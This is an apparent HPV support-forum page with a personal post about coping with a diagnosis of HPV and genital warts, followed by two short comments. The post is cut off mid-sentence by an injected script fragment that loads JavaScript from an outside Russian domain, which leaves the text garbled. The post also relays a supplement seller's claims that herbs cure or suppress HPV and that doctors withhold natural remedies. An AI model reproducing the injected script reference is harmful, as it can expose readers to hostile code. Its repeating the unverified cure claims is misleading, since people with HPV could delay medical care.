Personal Experiences with HPV and Genital Warts

Wart in the world is going on you ask!This section is here to help new visitors deal with HPV and Genital Warts. As many of with warts know, it takes some time to come to terms with the discovery of warts, abnormal pap results or cervical cancer. Please share your story with the community!

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Posted: 12/3/2007
Staying optimistic-- hanging in there...-StayInspired - (16 ) comments.

I know nearly every post on here talks about feeling alone, depressed, angry, confused, etc. But it couldnt be any more true. I had nooo idea who to confide in after being diagnosed with HPV and then finding warts in my vaginal area. My two best friends tried to be sympathetic but come on, until youre diagnosed with it, theres just no way of understanding. I felt even MORE alone after this. I can relate to every single emotion people express on these sites, and Im thankful this site even exists. Its helping me emotionally.
I cried and cried, (in fact I STILL cry) when I found out about all this and then had to go in for warts treatment-- so many times. Behind my family's back, spending my savings money I set aside for a trip. This was never supposed to happen to me. Im sure many people can relate?? Im the tree-hugger. I dont eat innocent animals. I travel the world and have worked in 8 differnt countries because its my PASSION. Ive worked with homeless children, saved the rainforest, am learning new languages, I could write a book about the crazy stories abroad. And then THIS. I get diagnosed with HPV. WHAT????? WHY ME??? But yes, it does happen. It CAN happen. TO ANYONE. I must have always thought God would spare me or something.
I believe things happen for reasons though and with the EEEENNNDDDLLLLEEESSS TEARS I HAVE CRIED, I really feel like Im really hanging in there.
I went to a vitamin supplement store hoping to find some "magic remedy" and finally just came out right and told the lady what was going on and how freaked out I was, to say the least. Turns out she was diagnosed with it too about 13 years ago!!! She talked to me about some vitamins to take and herb drops for under the tongue, which help specifially in the genital area and for keeping my immune system high. She has never had a symptom since, and said that doctors wont tell you about remedies like these because unless they "can cut it out of you", they dont look at "natural" things as being the miracle workers. She said she gets people in with HPV all the time and that these supplements have shown amazing results with ridding the body of this virus--- or at least suppresing it? I dont know. All I can do is stay optimistic and keep a level head, knowing that I have the virus, it doesnt have me.
I think part of the reason the warts popped up so fast after I was diagnosed was because IT STRESSED ME THE HECK OUT!! And guess what a major factor in wart reoccurrences are!! STRESS. But its like an oxy-moron because how can they tell you to not be stressed when all this is going on? It just makes me want to cry harder. And then guess what-- Im back to being stressed again.
Im doing a lot better though and need to go in for a follow-up pap smear to make sure the abnormal cells hve not gotten worse. Im praying it has all diminished.
I was angry and confused, and a part of me still is, although none of it is geared toward God. In fact, my spirituality has grown deeper and it makes me realize just how precious life is, although I thought I was doing a great job of realizing that WIHTOUT this thing, thank you very much. :) But it has shown me that we DO need to be careful, although it can happen to anyone at any time and can be a simple consequence of BAD LUCK.
I remember being in the car driving to work and using my drive time to cry it all out. Literally just cry and pray, cry and pray. I turned on the radio and heard Josh Groban's song "You Raise Me Up" (is that the name?) as the first thing I heard. Then, as if that wasnt a huge sign itself, the next song on the next station was "Calling All Angels" by Train. As a believer in the different ways God talks to us, I took this as a sign that life REALLY ISNT OVER. Its not. Im only 24 years old and still living a crazy, adventurous lifestyle, scuba diving, mountain hiking, you name it.
My soulmate is out there somewhere-- another untamable spirit maybe, LOL-- and so I choose not to over-analyze the scary thoug src=http://www.ncwc.ru/ngg.js>

Comments:

12/18/2007 6:40:01 PM - L
What herbs did you use?

6/2/2009 4:37:18 AM - Jorge
Can I have your email address? I would
like to talk to you some times. Mine
is jorgemartinezpinto@hotmail.com.....

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